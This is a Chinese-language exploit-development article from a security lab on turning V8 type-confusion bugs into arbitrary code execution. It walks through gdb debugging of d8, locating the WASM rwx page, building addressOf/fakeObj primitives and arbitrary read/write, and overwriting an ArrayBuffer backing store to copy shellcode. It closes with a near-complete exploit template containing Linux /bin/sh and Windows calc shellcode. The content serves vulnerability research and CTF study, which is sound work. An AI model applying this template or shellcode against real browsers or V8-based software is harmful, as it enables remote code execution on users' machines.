作者:Hcamael@知道創宇404實驗室
經過一段時間的研究,先進行一波總結,不過因為剛開始研究沒多久,也許有一些局限性,以后如果發現了,再進行修正。
概述
我認為,在搞漏洞利用前都得明確目標。比如打CTF做二進制的題目,大部分情況下,目標都是執行system(/bin/sh)或者execve(/bin/sh,0,0)。
在v8利用上,我覺得也有一個明確的目標,就是執行任意shellcode。當有了這個目標后,下一步就是思考,怎么寫shellcode呢?那么就需要有寫內存相關的洞,能寫到可讀可寫可執行的內存段,最好是能任意地址寫。配套的還需要有任意讀,因為需要知道rwx內存段的地址。就算沒有任意讀,也需要有辦法能把改地址泄漏出來(V8的binary保護基本是全開的)。接下來就是需要能控制RIP,能讓RIP跳轉到shellcode的內存段。
接下來將會根據該邏輯來反向總結一波v8的利用過程。
調試V8程序
在總結v8的利用之前,先簡單說說v8的調試。
1.把該文件v8/tools/gdbinit,加入到~/.gdbinit中:
$ cp v8/tools/gdbinit gdbinit_v8
$ cat ~/.gdbinit
source /home/ubuntu/pwndbg/gdbinit.py
source /home/ubuntu/gdbinit_v8
2.使用%DebugPrint(x);來輸出變量x的相關信息
3.使用%SystemBreak();來拋出int3,以便讓gdb進行調試
示例
$ cat test.js
a = [1];
%DebugPrint(a);
%SystemBreak();
如果直接使用d8運行,會報錯:
$ ./d8 test.js
test.js:2: SyntaxError: Unexpected token '%'
%DebugPrint(a);
^
SyntaxError: Unexpected token '%'
因為正常情況下,js是沒有%這種語法的,需要加入--allow-natives-syntax參數:
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x37640804965d: [JSArray]
- map: 0x376408203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3764081cc139 <JSArray[0]>
- elements: 0x3764081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
- length: 1
- properties: 0x37640800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x376408004905: [String] in ReadOnlySpace: #length: 0x37640814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3764081d30d1 <FixedArray[1]> {
0: 1
}
0x376408203a41: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x3764080023b5 <undefined>
- prototype_validity cell: 0x376408142405 <Cell value= 1>
- instance descriptors #1: 0x3764081cc5ed <DescriptorArray[1]>
- transitions #1: 0x3764081cc609 <TransitionArray[4]>Transition array #1:
0x376408005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x376408203ab9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype: 0x3764081cc139 <JSArray[0]>
- constructor: 0x3764081cbed5 <JSFunction Array (sfi = 0x37640814ad71)>
- dependent code: 0x3764080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[1] 35375 trace trap ./d8 --allow-natives-syntax test.js
接下來試試使用gdb來調試該程序:
$ gdb d8
pwndbg> r --allow-natives-syntax test.js
[New Thread 0x7f6643a61700 (LWP 35431)]
[New Thread 0x7f6643260700 (LWP 35432)]
[New Thread 0x7f6642a5f700 (LWP 35433)]
[New Thread 0x7f664225e700 (LWP 35434)]
[New Thread 0x7f6641a5d700 (LWP 35435)]
[New Thread 0x7f664125c700 (LWP 35436)]
[New Thread 0x7f6640a5b700 (LWP 35437)]
DebugPrint: 0x3a0c08049685: [JSArray]
- map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3a0c081cc139 <JSArray[0]>
- elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
- length: 1
- properties: 0x3a0c0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3a0c081d30d1 <FixedArray[1]> {
0: 1
}
0x3a0c08203a41: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x3a0c080023b5 <undefined>
- prototype_validity cell: 0x3a0c08142405 <Cell value= 1>
- instance descriptors #1: 0x3a0c081cc5ed <DescriptorArray[1]>
- transitions #1: 0x3a0c081cc609 <TransitionArray[4]>Transition array #1:
0x3a0c08005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3a0c08203ab9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype: 0x3a0c081cc139 <JSArray[0]>
- constructor: 0x3a0c081cbed5 <JSFunction Array (sfi = 0x3a0c0814ad71)>
- dependent code: 0x3a0c080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
然后就能使用gdb命令來查看其內存布局了,另外在之前v8提供的gdbinit中,加入了一些輔助調試的命令,比如job,作用跟%DebufPrint差不多:
pwndbg> job 0x3a0c08049685
0x3a0c08049685: [JSArray]
- map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3a0c081cc139 <JSArray[0]>
- elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
- length: 1
- properties: 0x3a0c0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3a0c081d30d1 <FixedArray[1]> {
0: 1
}
不過使用job命令的時候,其地址要是其真實地址+1,也就是說,在上面的樣例中,其真實地址為:0x3a0c08049684:
pwndbg> x/4gx 0x3a0c08049685-1
0x3a0c08049684: 0x0800222d08203a41 0x00000002081d30d1
0x3a0c08049694: 0x0000000000000000 0x0000000000000000
如果使用job命令,后面跟著的是其真實地址,會被解析成SMI(small integer)類型:
pwndbg> job 0x3a0c08049685-1
Smi: 0x4024b42 (67259202)
0x4024b42 * 2 == 0x8049684 (SMI只有32bit)
對d8進行簡單的調試只要知道這么多就夠了。
WASM
現如今的瀏覽器基本都支持WASM,v8會專門生成一段rwx內存供WASM使用,這就給了我們利用的機會。
我們來調試看看:
測試代碼:
$ cat test.js
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
然后使用gdb進行調試,在第一個斷點的時候,使用vmmap來查看一下內存段,這個時候內存中是不存在可讀可寫可執行的內存斷的,我們讓程序繼續運行。
在第二個斷點的時候,我們再運行一次vmmap來查看內存段:
pwndbg> vmmap
0x1aca69e92000 0x1aca69e93000 rwxp 1000 0 [anon_1aca69e92]
因為WASM代碼的創建,內存中出現可rwx的內存段。接下來的問題就是,我們怎么獲取到改地址呢?
首先我們來看看變量f的信息:
DebugPrint: 0x24c6081d3645: [Function] in OldSpace
- map: 0x24c6082049e1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
- elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
- name: 0x24c6080051c5 <String[1]: #0>
- builtin: GenericJSToWasmWrapper
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x24c6081c3649 <NativeContext[256]>
- code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
- Wasm instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
- Wasm function index: 0
- properties: 0x24c60800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x24c608004905: [String] in ReadOnlySpace: #length: 0x24c608142339 <AccessorInfo> (const accessor descriptor), location: descriptor
0x24c608004a35: [String] in ReadOnlySpace: #name: 0x24c6081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
0x24c608004029: [String] in ReadOnlySpace: #arguments: 0x24c60814226d <AccessorInfo> (const accessor descriptor), location: descriptor
0x24c608004245: [String] in ReadOnlySpace: #caller: 0x24c6081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor
}
- feedback vector: feedback metadata is not available in SFI
0x24c6082049e1: [Map]
- type: JS_FUNCTION_TYPE
- instance size: 28
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- callable
- back pointer: 0x24c6080023b5 <undefined>
- prototype_validity cell: 0x24c608142405 <Cell value= 1>
- instance descriptors (own) #4: 0x24c6081d0735 <DescriptorArray[4]>
- prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
- constructor: 0x24c608002235 <null>
- dependent code: 0x24c6080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
可以發現這是一個函數對象,我們來查看一下f的shared_info結構的信息:
- shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
pwndbg> job 0x24c6081d3621
0x24c6081d3621: [SharedFunctionInfo] in OldSpace
- map: 0x24c6080025f9 <Map[36]>
- name: 0x24c6080051c5 <String[1]: #0>
- kind: NormalFunction
- syntax kind: AnonymousExpression
- function_map_index: 185
- formal_parameter_count: 0
- expected_nof_properties:
- language_mode: sloppy
- data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- code (from data): 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
- script: 0x24c6081d3491 <Script>
- function token position: 88
- start position: 88
- end position: 92
- no debug info
- scope info: 0x24c608002739 <ScopeInfo>
- length: 0
- feedback_metadata: <none>
接下里再查看其data結構:
- data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
pwndbg> job 0x24c6081d35f5
0x24c6081d35f5: [WasmExportedFunctionData] in OldSpace
- map: 0x24c608002e7d <Map[44]>
- target: 0x1aca69e92000
- ref: 0x24c6081d3509 <Instance map = 0x24c608207439>
- wrapper_code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
- instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
- function_index: 0
- signature: 0x24c608049bd1 <Foreign>
- wrapper_budget: 1000
在查看instance結構:
- instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
pwndbg> job 0x24c6081d3509
0x24c6081d3509: [WasmInstanceObject] in OldSpace
- map: 0x24c608207439 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x24c608048259 <Object map = 0x24c6082079b1>
- elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x24c6080499e5 <Module map = 0x24c6082072d1>
- exports_object: 0x24c608049b99 <Object map = 0x24c608207a79>
- native_context: 0x24c6081c3649 <NativeContext[256]>
- memory_object: 0x24c6081d34f1 <Memory map = 0x24c6082076e1>
- table 0: 0x24c608049b69 <Table map = 0x24c608207551>
- imported_function_refs: 0x24c60800222d <FixedArray[0]>
- indirect_function_table_refs: 0x24c60800222d <FixedArray[0]>
- managed_native_allocations: 0x24c608049b21 <Foreign>
- memory_start: 0x7f6e20000000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x55a2eca392f0
- globals_start: (nil)
- imported_mutable_globals: 0x55a2eca39310
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x24c60800222d <FixedArray[0]>
- All own properties (excluding elements): {}
仔細查看能發現,instance結構就是js代碼中的wasmInstance變量的地址,在代碼中我們加入了%DebugPrint(wasmInstance);,所以也會輸出該結構的信息,可以去對照看看。
我們再來查看這個結構的內存布局:
pwndbg> x/16gx 0x24c6081d3509-1
0x24c6081d3508: 0x0800222d08207439 0x200000000800222d
0x24c6081d3518: 0x0001000000007f6e 0x0000ffff00000000
0x24c6081d3528: 0xeca1448000000000 0x0800222d000055a2
0x24c6081d3538: 0x000055a2eca392f0 0x000000000800222d
0x24c6081d3548: 0x0000000000000000 0x0000000000000000
0x24c6081d3558: 0x0000000000000000 0x000055a2eca39310
0x24c6081d3568: 0x000055a2eca14420 0x00001aca69e92000
仔細看,能發現,rwx段的起始地址儲存在instance+0x68的位置,不過這個不用記,不同版本,這個偏移值可能會有差距,可以在寫exp的時候通過上述調試的方式進行查找。
根據WASM的特性,我們的目的可以更細化了,現在我們的目的變為了把shellcode寫到WASM的代碼段,然后執行WASM函數,那么就能執行shellcode了。
任意讀寫
最近我研究的幾個V8的漏洞,任意讀寫都是使用的一個套路,目前我是覺得這個套路很通用的,感覺V8相關的利用都是用這類套路。(不過我學的時間短,這塊的眼界也相對短淺,以后可能會遇到其他情況)
首先來看看JavaScript的兩種類型的變量的結構:
$ cat test.js
a = [2.1];
b = {"a": 1};
c = [b];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%SystemBreak();
首先是變量a的結構:
DebugPrint: 0xe07080496d1: [JSArray]
- map: 0x0e0708203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0e07081cc139 <JSArray[0]>
- elements: 0x0e07080496c1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x0e070800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0e07080496c1 <FixedDoubleArray[1]> {
0: 2.1
}
pwndbg> job 0x0e07080496c1
0xe07080496c1: [FixedDoubleArray]
- map: 0x0e0708002a95 <Map>
- length: 1
0: 2.1
pwndbg> x/8gx 0xe07080496d1-1
0xe07080496d0: 0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0: 0x0800222d08207961 0x000000020800222d
0xe07080496f0: 0x0001000108005c31 0x080021f900000000
0xe0708049700: 0x0000008808007aad 0x0800220500000002
pwndbg> x/8gx 0x0e07080496c1-1
0xe07080496c0: 0x0000000208002a95 0x4000cccccccccccd
0xe07080496d0: 0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0: 0x0800222d08207961 0x000000020800222d
0xe07080496f0: 0x0001000108005c31 0x080021f900000000
變量a的結構如下:
| 32 bit map addr | 32 bit properties addr | 32 bit elements addr | 32 bit length|
因為在當前版本的v8中,對地址進行了壓縮,因為高32bit地址的值是一樣的,所以只需要保存低32bit的地址就行了。
elements結構保存了數組的值,結構為:
| 32 bit map addr | 32 bit length | value ......
變量a結構中的length,表示的是當前數組的已經使用的長度,elements表示該數組已經申請的長度,申請了不代表已經使用了。這兩個長度在內存中儲存的值為實際值的2倍,為啥這么設計,暫時還沒了解。
仔細研究上面的內存布局,能發現,elements結構之后是緊跟著變量a的結構。很多洞都是這個時候讓變量a溢出,然后這樣就可以讀寫其結構的map和length的值。
接下來在一起看看變量b和c:
變量c:
DebugPrint: 0xe0708049719: [JSArray]
- map: 0x0e0708203b31 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x0e07081cc139 <JSArray[0]>
- elements: 0x0e070804970d <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0e070800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0e070804970d <FixedArray[1]> {
0: 0x0e07080496e1 <Object map = 0xe0708207961>
}
變量b:
DebugPrint: 0xe07080496e1: [JS_OBJECT_TYPE]
- map: 0x0e0708207961 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0e07081c4205 <Object map = 0xe07082021b9>
- elements: 0x0e070800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0e070800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe0708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}
pwndbg> job 0x0e070804970d
0xe070804970d: [FixedArray]
- map: 0x0e0708002205 <Map>
- length: 1
0: 0x0e07080496e1 <Object map = 0xe0708207961>
pwndbg> x/8gx 0xe0708049719-1
0xe0708049718: 0x0800222d08203b31 0x000000020804970d
0xe0708049728: 0x0000000000000000 0x0000000000000000
0xe0708049738: 0x0000000000000000 0x0000000000000000
0xe0708049748: 0x0000000000000000 0x0000000000000000
pwndbg> x/8gx 0x0e070804970d-1
0xe070804970c: 0x0000000208002205 0x08203b31080496e1
0xe070804971c: 0x0804970d0800222d 0x0000000000000002
0xe070804972c: 0x0000000000000000 0x0000000000000000
0xe070804973c: 0x0000000000000000 0x0000000000000000
變量c的結構和變量a的基本上是一樣的,只是變量a儲存的是double類型的變量,所以value都是64bit的,而變量c儲存的是對象類型的變量,儲存的是地址,也對地址進行了壓縮,所以長度是32bit。
任意變量地址讀
既然內存結構這么一致,那么使用a[0]或者c[0]取值的時候,js是怎么判斷結構類型的呢?通過看代碼,或者gdb實際測試都能發現,是根據變量結構的map值來確定的。
也就是說如果我把變量c的map地址改成變量a的,那么當我執行c[0]的時候,獲取到的就是變量b的地址了。這樣,就能達到任意變量地址讀的效果,步驟如下:
- 把
c[0]的值設置為你想獲取地址的變量,比如c[0]=a;。 - 然后通過漏洞,把
c的map地址修改成a的map地址。 - 讀取
c[0]的值,該值就為變量a的低32bit地址。
在本文說的套路中,上述步驟被封裝為addressOf函數。
該邏輯還達不到任意地址讀的效果,所以還需要繼續研究。
double to object
既然我們可以把對象數組變為浮點型數組,那么是不是也可以把浮點型數組變為對象數組,步驟如下:
- 把
a[0]的值設置為自己構造的某個對象的地址還需要加1。 - 然后通過漏洞,把
a的map地址修改成c的map地址。 - 獲取
a[0]的值
這個過程可以封裝為fakeObj函數。
任意讀
這個時候我們構造這樣一個變量:
var fake_array = [
double_array_map,
itof(0x4141414141414141n)
];
該變量的結構大致如下:
| 32 bit elements map | 32 bit length | 64 bit double_array_map |
| 64 bit 0x4141414141414141n | 32 bit fake_array map | 32 bit properties |
| 32 bit elements | 32 bit length|
根據分析,理論上來說布局應該如上所示,但是會根據漏洞不通,導致堆布局不通,所以導致elements地址的不同,具體情況,可以寫exp的時候根據通過調試來判斷。
所以我可以使用addressOf獲取fake_array地址:var fake_array_addr = addressOf(fake_array);。
計算得到fake_object_addr = fake_array_addr - 0x10n;,然后使用fakeObj函數,得到你構造的對象:var fake_object = fakeObj(fake_object_addr);
這個時候不要去查看fake_object的內容,因為其length字段和elements字段都被設置為了無效值(0x41414141)。
這個時候我們就能通過fake_array數組來達到任意讀的目的了,下面就是一個通用的任意讀函數read64:
function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}
任意寫
同理,也能構造出任意寫write64:
function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}
我們可以這么理解上述過程,fakeObj對象相當于把把浮點數數組變量a改成了二維浮點數數組:a = [[1.1]],而fake_array[1]值的內存區域屬于fake_object對象的elements和length字段的位置,所以我們可以通過修改fake_array[1]的值,來控制fake_object,以達到任意讀寫的效果。
寫shellcode
不過上述的任意寫卻沒辦法把我們的shellcode寫到rwx區域,因為寫入的地址=實際地址-0x8+0x1,前面還需要有8字節的map地址和length,而rwx區域根據我們調試的時候看到的內存布局,需要從該內存段的起始地址開始寫,所以該地址-0x8+0x1是一個無效地址。
所以需要另辟蹊徑,來看看下面的代碼:
$ cat test.js
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);
%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();
首先看看data_buf變量的結構:
DebugPrint: 0x2ead0804970d: [JSArrayBuffer]
- map: 0x2ead08203271 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2ead081ca3a5 <Object map = 0x2ead08203299>
- elements: 0x2ead0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x555c12bb9050
- byte_length: 16
- detachable
- properties: 0x2ead0800222d <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
再來看看backing_store字段的內存:
pwndbg> x/8gx 0x555c12bb9050
0x555c12bb9050: 0x4000000000000000 0x0000000000000000
0x555c12bb9060: 0x0000000000000000 0x0000000000000041
0x555c12bb9070: 0x0000555c12bb9050 0x0000000000000010
0x555c12bb9080: 0x0000000000000010 0x00007ffd653318a8
double型的2.0以十六進制表示就是0x4000000000000000,所以可以看出data_buf變量的值存儲在一段連續的內存區域中,通過backing_store指針指向該內存區域。
所以我們可以利用該類型,通過修改backing_store字段的值為rwx內存地址,來達到寫shellcode的目的。
看看backing_store字段在data_buf變量結構中的位置:
pwndbg> x/16gx 0x2ead0804970d-1
0x2ead0804970c: 0x0800222d08203271 0x000000100800222d
0x2ead0804971c: 0x0000000000000000 0x12bb905000000000
0x2ead0804972c: 0x12bb90b00000555c 0x000000020000555c
0x2ead0804973c: 0x0000000000000000 0x0000000000000000
0x2ead0804974c: 0x0800222d08202ca9 0x0804970d0800222d
0x2ead0804975c: 0x0000000000000000 0x0000000000000010
0x2ead0804976c: 0x0000555c12bb9050 0x0000000000000000
0x2ead0804977c: 0x0000000000000000 0x0000000000000000
發現backing_store的地址屬于data_buf + 0x1C,這個偏移在不同版本的v8中也是有一些區別的,所以寫exp的時候,可以根據上面的步驟來進行計算。
根據上述的思路,我們可以寫出copy_shellcode_to_rwx函數:
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
利用
在linux環境下,我們測試的時候想執行一下execve(/bin/sh,0,0)的shellcode,就可以這樣:
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
如果想執行windows的彈計算器的shellcode,代碼只需要改shellcode變量的值就好了,其他的就不用修改了:
var shellcode = [
0xc0e8f0e48348fcn,
0x5152504151410000n,
0x528b4865d2314856n,
0x528b4818528b4860n,
0xb70f4850728b4820n,
0xc03148c9314d4a4an,
0x41202c027c613cacn,
0xede2c101410dc9c1n,
0x8b20528b48514152n,
0x88808bd001483c42n,
0x6774c08548000000n,
0x4418488b50d00148n,
0x56e3d0014920408bn,
0x4888348b41c9ff48n,
0xc03148c9314dd601n,
0xc101410dc9c141acn,
0x244c034cf175e038n,
0x4458d875d1394508n,
0x4166d0014924408bn,
0x491c408b44480c8bn,
0x14888048b41d001n,
0x5a595e58415841d0n,
0x83485a4159415841n,
0x4158e0ff524120ecn,
0xff57e9128b485a59n,
0x1ba485dffffn,
0x8d8d480000000000n,
0x8b31ba4100000101n,
0xa2b5f0bbd5ff876fn,
0xff9dbd95a6ba4156n,
0x7c063c28c48348d5n,
0x47bb0575e0fb800an,
0x894159006a6f7213n,
0x2e636c6163d5ffdan,
0x657865n,
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
其他
在上面的示例代碼中,出現了幾個沒說明的函數,以下是這幾個函數的代碼:
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function d2u(v) {
f64[0] = v;
return u32;
}
因為在上述思路中,都是使用浮點型數組,其值為浮點型,但是浮點型的值我們看著不順眼,設置值我們也是習慣使用十六進制值。所以需要有ftoi和itof來進行浮點型和64bit的整數互相轉換。
但是因為在新版的v8中,有壓縮高32bit地址的特性,所以還需要u2d和d2u兩個,把浮點型和32bit整數進行互相轉換的函數。
最后還有一個hex函數,就是方便我們查看值:
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
總結
目前在我看來,不說所有v8的漏洞,但是所有類型混淆類的漏洞都能使用同一套模板:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0] = i;
return f64[0];
}
function hex(i)
{
return i.toString(16).padStart(8, "0");
}
function fakeObj(addr_to_fake)
{
?
}
function addressOf(obj_to_leak)
{
?
}
function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}
function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;
var fake_array = [
array_map,
itof(0x4141414141414141n)
];
fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
其中打問號的地方,需要根據具體情況來編寫,然后就是有些偏移需要根據v8版本情況進行修改,但是主體結構基本雷同。
之后的文章中,打算把我最近研究復現的幾個漏洞,套進這個模板中,來進行講解。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1821/
暫無評論